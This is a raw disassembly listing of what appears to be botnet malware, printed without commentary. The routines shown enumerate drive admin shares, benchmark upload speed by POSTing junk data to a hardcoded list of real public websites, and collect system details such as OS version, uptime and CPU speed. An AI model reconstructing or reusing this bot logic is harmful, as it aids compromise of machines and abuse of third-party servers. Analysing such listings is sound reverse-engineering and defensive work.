loc_41A2CC:				; CODE XREF: sub_41A19E+13j
		push	offset dword_43A1F8


loc_41A2D1:				; CODE XREF: sub_41A19E+12Cj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A2DF:				; CODE XREF: sub_41A19E+125j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A2FE
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A2FE:				; CODE XREF: sub_41A19E+144j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		cmp	dword_4CB74C, ebx
		pop	ecx
		jnz	loc_41A473
		push	edi
		mov	esi, offset off_43A0C0
		mov	edi, 200h


loc_41A322:				; CODE XREF: sub_41A19E+1E9j
		push	dword ptr [esi+4]
		push	dword ptr [esi]
		push	ebx
		call	sub_418BC0
		add	esp, 0Ch
		push	dword ptr [esi]
		test	eax, eax
		jnz	short loc_41A33D
		push	offset dword_43A3C0
		jmp	short loc_41A342
; ---------------------------------------------------------------------------


loc_41A33D:				; CODE XREF: sub_41A19E+196j
		push	offset dword_43A398


loc_41A342:				; CODE XREF: sub_41A19E+19Dj
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A371
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A371:				; CODE XREF: sub_41A19E+1B7j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		add	esi, 8
		pop	ecx
		cmp	esi, offset off_43A0D0
		jb	short loc_41A322
		nop
		call	near ptr 2811C8Ch
		test	eax, eax
		mov	[ebp+var_4], eax
		mov	bl, 41h
		jz	loc_41A45B


loc_41A39C:				; CODE XREF: sub_41A19E+2B7j
		mov	eax, [ebp+var_4]
		and	eax, 1
		cmp	al, 1
		jnz	loc_41A450
		cmp	bl, 41h
		jz	loc_41A450
		movsx	esi, bl
		push	esi
		push	offset aC_1	; "%c$"
		lea	eax, [ebp+var_14]
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	esi
		push	offset aC_0	; "%c:\\"
		push	0Ah
		push	eax
		call	sub_41B980
		add	esp, 10h
		lea	eax, [ebp+var_20]
		push	eax
		call	dword_4CB6B4
		cmp	eax, 3
		jnz	short loc_41A450
		lea	eax, [ebp+var_20]
		push	eax
		lea	eax, [ebp+var_14]
		push	eax
		push	0
		call	sub_418BC0
		add	esp, 0Ch
		test	eax, eax
		lea	eax, [ebp+var_14]
		push	eax
		jnz	short loc_41A40E
		push	offset dword_43A3C0
		jmp	short loc_41A413
; ---------------------------------------------------------------------------


loc_41A40E:				; CODE XREF: sub_41A19E+267j
		push	offset dword_43A398


loc_41A413:				; CODE XREF: sub_41A19E+26Ej
		lea	eax, [ebp+var_220]
		push	edi
		push	eax
		call	sub_41B980
		add	esp, 10h
		cmp	[ebp+arg_C], 0
		jnz	short loc_41A443
		push	1
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A443:				; CODE XREF: sub_41A19E+289j
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx


loc_41A450:				; CODE XREF: sub_41A19E+206j
					; sub_41A19E+20Fj ...
		inc	bl
		shr	[ebp+var_4], 1
		jnz	loc_41A39C


loc_41A45B:				; CODE XREF: sub_41A19E+1F8j
		lea	eax, [ebp+var_220]
		push	offset dword_43A368
		push	eax
		call	sub_41B886
		pop	ecx
		xor	ebx, ebx
		pop	ecx
		pop	edi
		jmp	short loc_41A486
; ---------------------------------------------------------------------------


loc_41A473:				; CODE XREF: sub_41A19E+173j
		lea	eax, [ebp+var_220]
		push	offset dword_43A100
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41A486:				; CODE XREF: sub_41A19E+2D3j
		cmp	[ebp+arg_C], ebx
		jnz	short loc_41A4A4
		push	ebx
		lea	eax, [ebp+var_220]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		add	esp, 14h


loc_41A4A4:				; CODE XREF: sub_41A19E+2EBj
		lea	eax, [ebp+var_220]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	1
		pop	eax
		pop	esi
		pop	ebx
		leave
		retn
sub_41A19E	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A4B8	proc near		; CODE XREF: sub_41A6AF+CBp
					; sub_41A6AF+DDp ...

arg_0		= dword	ptr  4

		nop
		call	near ptr 2690E09h
		push	eax
		call	sub_41B8D8
		pop	ecx
		call	sub_41B8E2
		cdq
		idiv	[esp+arg_0]
		mov	eax, edx
		retn
sub_41A4B8	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A4D2	proc near		; CODE XREF: sub_41A6AF+D4p
					; sub_41A6AF+E6p ...

var_38		= dword	ptr -38h
var_28		= word ptr -28h
var_26		= word ptr -26h
var_24		= dword	ptr -24h
var_18		= qword	ptr -18h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 28h
		push	ebx
		push	esi
		push	edi
		push	[ebp+arg_0]
		call	sub_41AFE0
		mov	esi, 0FFh
		pop	ecx
		cmp	eax, esi
		ja	loc_41A6AB
		push	10h
		lea	eax, [ebp+var_28]
		push	0
		push	eax
		call	sub_41B590
		push	[ebp+arg_0]
		mov	[ebp+var_28], 2
		call	sub_40AAFA
		add	esp, 10h
		mov	[ebp+var_24], eax
		test	eax, eax
		jz	loc_41A6AB
		push	50h
		call	dword_4CB654
		push	6
		push	1
		push	2
		mov	[ebp+var_26], ax
		call	dword_4CB6D4
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+var_4], eax
		jz	loc_41A6AB
		lea	ecx, [ebp+var_28]
		push	10h
		push	ecx
		push	eax
		call	dword_4CB5FC
		cmp	eax, 0FFFFFFFFh
		jz	loc_41A6AB
		push	32003h
		call	sub_41CFC5
		mov	edi, dword_4270A8
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_8], ebx
		call	edi
		push	eax
		call	sub_41B8D8
		call	sub_41B8E2
		cdq
		idiv	esi
		mov	[esp+38h+var_38], 32001h
		push	0
		push	ebx
		movsx	esi, dl
		call	sub_41B590
		push	32000h
		push	esi
		push	ebx
		call	sub_41B590
		push	ebx
		call	sub_41AFE0
		push	323EAh
		mov	ebx, eax
		call	sub_41CFC5
		add	esp, 20h
		mov	esi, eax
		push	ebx
		push	[ebp+arg_0]
		push	offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"...
		push	esi
		call	sub_41B886
		push	[ebp+var_8]
		push	esi
		call	sub_41BEC0
		push	offset asc_433F14 ; "\r\n"
		push	esi
		call	sub_41BEC0
		push	esi
		call	sub_41AFE0
		mov	ebx, eax
		add	esp, 24h
		mov	[ebp+var_10], ebx
		call	edi
		mov	dword ptr [ebp+var_18+4], eax
		xor	eax, eax
		test	ebx, ebx
		mov	[ebp+arg_0], eax
		jbe	short loc_41A62B
		mov	[ebp+var_C], ebx
		mov	ebx, 400h
		jmp	short loc_41A5FB
; ---------------------------------------------------------------------------


loc_41A5F8:				; CODE XREF: sub_41A4D2+157j
		mov	eax, [ebp+arg_0]


loc_41A5FB:				; CODE XREF: sub_41A4D2+124j
		mov	ecx, [ebp+var_10]
		push	0
		sub	ecx, eax
		cmp	ecx, ebx
		jnb	short loc_41A60B
		push	[ebp+var_C]
		jmp	short loc_41A60C
; ---------------------------------------------------------------------------


loc_41A60B:				; CODE XREF: sub_41A4D2+132j
		push	ebx


loc_41A60C:				; CODE XREF: sub_41A4D2+137j
		add	eax, esi
		push	eax
		push	[ebp+var_4]
		call	dword_4CB6A4
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41A692
		add	[ebp+arg_0], ebx
		sub	[ebp+var_C], ebx
		mov	eax, [ebp+arg_0]
		cmp	eax, [ebp+var_10]
		jb	short loc_41A5F8


loc_41A62B:				; CODE XREF: sub_41A4D2+11Aj
		call	edi
		sub	eax, dword ptr [ebp+var_18+4]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		fild	[ebp+var_18]
		fmul	flt_42770C
		fst	[ebp+arg_0]
		fcomp	flt_427708
		fnstsw	ax
		sahf
		jnz	short loc_41A653
		fld1
		fstp	[ebp+arg_0]


loc_41A653:				; CODE XREF: sub_41A4D2+17Aj
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		mov	eax, [ebp+var_10]
		and	dword ptr [ebp+var_18+4], 0
		mov	dword ptr [ebp+var_18],	eax
		pop	ecx
		fild	[ebp+var_18]
		pop	ecx
		fdiv	[ebp+arg_0]
		fmul	flt_427704
		fmul	flt_427700
		call	sub_41C798


loc_41A68D:				; CODE XREF: sub_41A4D2+1DBj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41A692:				; CODE XREF: sub_41A4D2+149j
		push	[ebp+var_4]
		call	dword_4CB6EC
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx


loc_41A6AB:				; CODE XREF: sub_41A4D2+19j
					; sub_41A4D2+42j ...
		xor	eax, eax
		jmp	short loc_41A68D
sub_41A4D2	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A6AF	proc near		; CODE XREF: sub_401ACD+2E62p

var_26C		= byte ptr -26Ch
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 26Ch
		push	ebx
		push	esi
		push	edi
		push	8
		mov	[ebp+var_4], 3
		mov	[ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net"
		mov	[ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl"
		mov	[ebp+var_34], offset aVerio_fr ; "verio.fr"
		mov	[ebp+var_30], offset aWww_1und1_de ; "www.1und1.de"
		mov	[ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch"
		mov	[ebp+var_28], offset aWww_belwue_de ; "www.belwue.de"
		mov	[ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com"
		mov	[ebp+var_20], offset aWww_google_it ; "www.google.it"
		mov	[ebp+var_6C], offset aWww_xo_net ; "www.xo.net"
		mov	[ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu"
		mov	[ebp+var_64], offset aWww_verio_com ; "www.verio.com"
		mov	[ebp+var_60], offset aWww_nocster_co ; "www.nocster.com"
		mov	[ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu"
		mov	[ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com"
		mov	[ebp+var_54], offset aWww_burst_net ; "www.burst.net"
		mov	[ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu"
		mov	[ebp+var_4C], offset aWww_level3_com ; "www.level3.com"
		mov	[ebp+var_48], offset aWww_above_net ; "www.above.net"
		mov	[ebp+var_44], offset aWww_easynews_c ; "www.easynews.com"
		mov	[ebp+var_40], offset aWww_google_com ; "www.google.com"
		mov	[ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw"
		mov	[ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp"
		mov	[ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com"
		mov	[ebp+var_10], offset aWww_nifty_com ; "www.nifty.com"
		mov	[ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp"
		mov	[ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp"
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		push	8
		mov	esi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_3C]
		call	sub_41A4D2
		add	esp, 10h
		test	esi, esi
		jz	short loc_41A7B0
		test	eax, eax
		jz	short loc_41A7AC
		lea	ebx, [eax+esi]
		shr	ebx, 1
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7AC:				; CODE XREF: sub_41A6AF+F4j
		mov	ebx, esi
		jmp	short loc_41A7B2
; ---------------------------------------------------------------------------


loc_41A7B0:				; CODE XREF: sub_41A6AF+F0j
		mov	ebx, eax


loc_41A7B2:				; CODE XREF: sub_41A6AF+FBj
					; sub_41A6AF+FFj
		push	0Ch
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		push	0Ch
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_6C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A7EA
		test	eax, eax
		jz	short loc_41A7E6
		lea	esi, [eax+edi]
		shr	esi, 1
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7E6:				; CODE XREF: sub_41A6AF+12Ej
		mov	esi, edi
		jmp	short loc_41A7EC
; ---------------------------------------------------------------------------


loc_41A7EA:				; CODE XREF: sub_41A6AF+12Aj
		mov	esi, eax


loc_41A7EC:				; CODE XREF: sub_41A6AF+135j
					; sub_41A6AF+139j
		push	6
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		push	6
		mov	edi, eax
		call	sub_41A4B8
		push	[ebp+eax*4+var_1C]
		call	sub_41A4D2
		add	esp, 10h
		test	edi, edi
		jz	short loc_41A824
		test	eax, eax
		jz	short loc_41A820
		lea	ecx, [eax+edi]
		shr	ecx, 1
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A820:				; CODE XREF: sub_41A6AF+168j
		mov	ecx, edi
		jmp	short loc_41A826
; ---------------------------------------------------------------------------


loc_41A824:				; CODE XREF: sub_41A6AF+164j
		mov	ecx, eax


loc_41A826:				; CODE XREF: sub_41A6AF+16Fj
					; sub_41A6AF+173j
		xor	eax, eax
		test	ebx, ebx
		jz	short loc_41A833
		mov	edi, [ebp+var_4]
		mov	eax, ebx
		jmp	short loc_41A836
; ---------------------------------------------------------------------------


loc_41A833:				; CODE XREF: sub_41A6AF+17Bj
		push	2
		pop	edi


loc_41A836:				; CODE XREF: sub_41A6AF+182j
		test	esi, esi
		jz	short loc_41A83E
		add	eax, esi
		jmp	short loc_41A83F
; ---------------------------------------------------------------------------


loc_41A83E:				; CODE XREF: sub_41A6AF+189j
		dec	edi


loc_41A83F:				; CODE XREF: sub_41A6AF+18Dj
		test	ecx, ecx
		jz	short loc_41A847
		add	eax, ecx
		jmp	short loc_41A848
; ---------------------------------------------------------------------------


loc_41A847:				; CODE XREF: sub_41A6AF+192j
		dec	edi


loc_41A848:				; CODE XREF: sub_41A6AF+196j
		xor	edx, edx
		div	edi
		push	eax
		push	ecx
		push	esi
		push	ebx
		lea	eax, [ebp+var_26C]
		push	offset dword_43A508
		push	eax
		call	sub_41B886
		push	0
		lea	eax, [ebp+var_26C]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A73
		lea	eax, [ebp+var_26C]
		push	eax
		call	sub_4151AD
		add	esp, 30h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41A6AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A88C	proc near		; CODE XREF: sub_401ACD+25A1p
					; sub_401ACD+2A11p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		nop
		call	near ptr 2690E09h
		xor	edx, edx
		mov	ecx, 3E8h
		div	ecx
		mov	ebx, 15180h
		xor	edx, edx
		mov	esi, ebx
		mov	edi, 0E10h
		mov	ebp, edi
		push	3Ch
		mov	ecx, eax
		sub	ecx, [esp+14h+arg_0]
		mov	eax, ecx
		div	esi
		mov	esi, edx
		xor	edx, edx
		mov	eax, esi
		div	ebp
		pop	ebp
		mov	eax, edx
		xor	edx, edx
		div	ebp
		xor	edx, edx
		push	eax
		mov	eax, esi
		div	edi
		xor	edx, edx
		mov	esi, offset dword_4DB920
		push	eax
		mov	eax, ecx
		div	ebx
		push	eax
		push	offset aDdDhDm	; "%dd %dh %dm"
		push	32h
		push	esi
		call	sub_41B980
		add	esp, 18h
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41A88C	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41A8F5	proc near		; CODE XREF: sub_416F1B+24p

var_94		= dword	ptr -94h
var_90		= dword	ptr -90h
var_8C		= dword	ptr -8Ch
var_84		= dword	ptr -84h

		push	ebp
		mov	ebp, esp
		sub	esp, 94h
		lea	eax, [ebp+var_94]
		push	esi
		push	eax
		xor	esi, esi
		mov	[ebp+var_94], 94h
		nop
		call	near ptr 26D050Dh
		test	eax, eax
		jz	short loc_41A988
		cmp	[ebp+var_90], 4
		jnz	short loc_41A95E
		cmp	[ebp+var_8C], esi
		jnz	short loc_41A946
		cmp	[ebp+var_84], 1
		jnz	short loc_41A939
		push	1
		pop	esi


loc_41A939:				; CODE XREF: sub_41A8F5+3Fj
		cmp	[ebp+var_84], 2
		jnz	short loc_41A988
		push	1
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A946:				; CODE XREF: sub_41A8F5+36j
		cmp	[ebp+var_8C], 0Ah
		jnz	short loc_41A953


loc_41A94F:				; CODE XREF: sub_41A8F5+78j
		push	2
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A953:				; CODE XREF: sub_41A8F5+58j
		cmp	[ebp+var_8C], 5Ah
		jnz	short loc_41A988
		jmp	short loc_41A978
; ---------------------------------------------------------------------------


loc_41A95E:				; CODE XREF: sub_41A8F5+2Ej
		cmp	[ebp+var_90], 5
		jnz	short loc_41A988
		cmp	[ebp+var_8C], esi
		jz	short loc_41A94F
		cmp	[ebp+var_8C], 1
		jnz	short loc_41A97C


loc_41A978:				; CODE XREF: sub_41A8F5+67j
		push	3
		jmp	short loc_41A987
; ---------------------------------------------------------------------------


loc_41A97C:				; CODE XREF: sub_41A8F5+81j
		cmp	[ebp+var_8C], 2
		jnz	short loc_41A988
		push	7


loc_41A987:				; CODE XREF: sub_41A8F5+4Fj
					; sub_41A8F5+5Cj ...
		pop	esi


loc_41A988:				; CODE XREF: sub_41A8F5+25j
					; sub_41A8F5+4Bj ...
		mov	eax, esi
		pop	esi
		leave
		retn
sub_41A8F5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41A98D	proc near		; CODE XREF: sub_41AA43+290p
		push	ebx
		push	esi
		push	edi
		mov	esi, 0F4240h


loc_41A995:				; CODE XREF: sub_41A98D+2Fj
					; sub_41A98D+35j
		rdtsc
		push	3E8h
		mov	edi, edx
		mov	ebx, eax
		call	near ptr 2680646h
		nop
		rdtsc
		sub	eax, ebx
		push	0
		sbb	edx, edi
		push	esi
		push	edx
		push	eax
		call	sub_41D410
		mov	edi, edx
		mov	ebx, eax
		test	edi, edi
		ja	short loc_41A995
		jb	short loc_41A9C4
		cmp	ebx, esi
		ja	short loc_41A995


loc_41A9C4:				; CODE XREF: sub_41A98D+31j
		push	0
		push	64h
		push	edi
		push	ebx
		call	sub_41D480
		mov	ecx, edx
		push	64h
		xor	edx, edx
		mov	esi, eax
		test	ecx, ecx
		pop	eax
		ja	short loc_41AA37
		jb	short loc_41A9E3
		cmp	esi, 50h
		jnb	short loc_41A9E8


loc_41A9E3:				; CODE XREF: sub_41A98D+4Fj
		push	4Bh
		xor	edx, edx
		pop	eax


loc_41A9E8:				; CODE XREF: sub_41A98D+54j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41A9F3
		cmp	esi, 47h
		jnb	short loc_41A9F8


loc_41A9F3:				; CODE XREF: sub_41A98D+5Fj
		push	42h
		xor	edx, edx
		pop	eax


loc_41A9F8:				; CODE XREF: sub_41A98D+64j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA03
		cmp	esi, 37h
		jnb	short loc_41AA08


loc_41AA03:				; CODE XREF: sub_41A98D+6Fj
		push	32h
		xor	edx, edx
		pop	eax


loc_41AA08:				; CODE XREF: sub_41A98D+74j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA13
		cmp	esi, 26h
		jnb	short loc_41AA18


loc_41AA13:				; CODE XREF: sub_41A98D+7Fj
		push	21h
		xor	edx, edx
		pop	eax


loc_41AA18:				; CODE XREF: sub_41A98D+84j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA23
		cmp	esi, 1Eh
		jnb	short loc_41AA28


loc_41AA23:				; CODE XREF: sub_41A98D+8Fj
		push	19h
		xor	edx, edx
		pop	eax


loc_41AA28:				; CODE XREF: sub_41A98D+94j
		test	ecx, ecx
		ja	short loc_41AA37
		jb	short loc_41AA33
		cmp	esi, 0Ah
		jnb	short loc_41AA37


loc_41AA33:				; CODE XREF: sub_41A98D+9Fj
		xor	eax, eax
		xor	edx, edx


loc_41AA37:				; CODE XREF: sub_41A98D+4Dj
					; sub_41A98D+5Dj ...
		sub	eax, esi
		sbb	edx, ecx
		add	eax, ebx
		adc	edx, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_41A98D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AA43	proc near		; CODE XREF: sub_401ACD+276Fp

var_7E8		= byte ptr -7E8h
var_668		= byte ptr -668h
var_5E8		= byte ptr -5E8h
var_568		= byte ptr -568h
var_4E8		= byte ptr -4E8h
var_3E4		= byte ptr -3E4h
var_2E8		= byte ptr -2E8h
var_25C		= word ptr -25Ch
var_25A		= byte ptr -25Ah
var_15C		= byte ptr -15Ch
var_114		= byte ptr -114h
var_CC		= dword	ptr -0CCh
var_C8		= dword	ptr -0C8h
var_C4		= dword	ptr -0C4h
var_C0		= dword	ptr -0C0h
var_BC		= dword	ptr -0BCh
var_B8		= byte ptr -0B8h
var_38		= byte ptr -38h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 7E8h
		push	ebx
		push	esi
		lea	eax, [ebp+var_CC]
		push	edi
		push	eax
		mov	[ebp+var_4], offset dword_43D808
		mov	[ebp+var_CC], 94h
		nop
		call	near ptr 26D050Dh
		xor	ebx, ebx
		cmp	[ebp+var_C8], 4
		jnz	short loc_41AACA
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAA6
		cmp	[ebp+var_BC], 1
		jnz	short loc_41AA90
		mov	[ebp+var_4], offset dword_431974


loc_41AA90:				; CODE XREF: sub_41AA43+44j
		cmp	[ebp+var_BC], 2
		jnz	loc_41AB45
		mov	[ebp+var_4], offset dword_431970
		jmp	short loc_41AB16
; ---------------------------------------------------------------------------


loc_41AAA6:				; CODE XREF: sub_41AA43+3Bj
		cmp	[ebp+var_C4], 0Ah
		jnz	short loc_41AAB8
		mov	[ebp+var_4], offset dword_43196C
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAB8:				; CODE XREF: sub_41AA43+6Aj
		cmp	[ebp+var_C4], 5Ah
		jnz	short loc_41AB06
		mov	[ebp+var_4], offset dword_431968
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AACA:				; CODE XREF: sub_41AA43+33j
		cmp	[ebp+var_C8], 5
		jnz	short loc_41AB06
		cmp	[ebp+var_C4], ebx
		jnz	short loc_41AAE4
		mov	[ebp+var_4], offset dword_431964
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAE4:				; CODE XREF: sub_41AA43+96j
		cmp	[ebp+var_C4], 1
		jnz	short loc_41AAF6
		mov	[ebp+var_4], offset dword_431960
		jmp	short loc_41AB0D
; ---------------------------------------------------------------------------


loc_41AAF6:				; CODE XREF: sub_41AA43+A8j
		cmp	[ebp+var_C4], 2
		mov	[ebp+var_4], offset a2003 ; "2003"
		jz	short loc_41AB0D


loc_41AB06:				; CODE XREF: sub_41AA43+7Cj
					; sub_41AA43+8Ej
		mov	[ebp+var_4], offset dword_431958


loc_41AB0D:				; CODE XREF: sub_41AA43+73j
					; sub_41AA43+85j ...
		cmp	[ebp+var_BC], 2
		jnz	short loc_41AB45


loc_41AB16:				; CODE XREF: sub_41AA43+61j
		cmp	[ebp+var_B8], bl
		jz	short loc_41AB45
		lea	eax, [ebp+var_B8]
		push	eax
		lea	eax, [ebp+var_2E8]
		push	[ebp+var_4]
		push	offset aSS_1	; "%s (%s)"
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_2E8]
		add	esp, 10h
		mov	[ebp+var_4], eax


loc_41AB45:				; CODE XREF: sub_41AA43+54j
					; sub_41AA43+D1j ...
		mov	ax, word_437F2C
		push	3Fh
		mov	[ebp+var_25C], ax
		pop	ecx
		xor	eax, eax
		lea	edi, [ebp+var_25A]
		rep stosd
		stosw
		mov	eax, dword_4CB534
		mov	[ebp+var_C], 100h
		cmp	eax, ebx
		jz	short loc_41AB7E
		lea	ecx, [ebp+var_C]
		push	ecx
		lea	ecx, [ebp+var_25C]
		push	ecx
		call	eax


loc_41AB7E:				; CODE XREF: sub_41AA43+12Cj
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		call	dword_4CB694
		mov	[ebp+var_8], eax
		push	2
		lea	eax, [ebp+var_8]
		push	4
		push	eax
		call	dword_4CB60C
		cmp	eax, ebx
		jz	short loc_41ABA7
		push	dword ptr [eax]
		jmp	short loc_41ABAC
; ---------------------------------------------------------------------------


loc_41ABA7:				; CODE XREF: sub_41AA43+15Ej
		push	offset aCouldnTResolve ; "couldn't resolve host"


loc_41ABAC:				; CODE XREF: sub_41AA43+162j
		lea	eax, [ebp+var_3E4]
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_4E8]
		pop	ecx
		push	104h
		push	eax
		call	near ptr 2680000h
		nop
		lea	eax, [ebp+var_114]
		push	46h
		push	eax
		push	offset dword_43A7FC
		push	ebx
		mov	esi, 409h
		push	ebx
		push	esi
		nop
		call	near ptr 2730000h
		lea	eax, [ebp+var_15C]
		push	46h
		push	eax
		push	offset aHhMmSs	; "HH:mm:ss"
		push	ebx
		push	ebx
		push	esi
		nop
		call	near ptr 27215B6h
		push	20h
		lea	eax, [ebp+var_38]
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		lea	eax, [ebp+var_38]
		push	eax
		call	near ptr 2820000h
		nop
		push	ebx
		push	ebx
		lea	eax, [ebp+var_18]
		push	ebx
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		call	sub_41B9D1
		lea	eax, [ebp+var_18]
		push	eax
		lea	eax, [ebp+var_7E8]
		push	eax
		call	sub_416A33
		push	60h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_7E8]
		rep movsd
		push	60h
		lea	esi, [ebp+var_7E8]
		pop	ecx
		lea	edi, [ebp+var_668]
		rep movsd
		push	ebx
		call	sub_41A88C
		add	esp, 20h
		push	eax
		lea	eax, [ebp+var_15C]
		push	eax
		lea	eax, [ebp+var_114]
		push	eax
		lea	eax, [ebp+var_25C]
		push	eax
		push	[ebp+arg_4]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_3E4]
		push	eax
		lea	eax, [ebp+var_4E8]
		push	eax
		lea	eax, [ebp+var_5E8]
		push	[ebp+var_C0]
		push	[ebp+var_C4]
		push	[ebp+var_C8]
		push	[ebp+var_4]
		push	eax
		lea	eax, [ebp+var_568]
		push	eax
		mov	eax, [ebp+var_2C]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		mov	eax, [ebp+var_30]
		shr	eax, 0Ah
		push	ebx
		push	eax
		call	sub_416923
		pop	ecx
		pop	ecx
		push	eax
		call	sub_41A98D
		push	edx
		push	eax
		push	offset dword_43A720
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
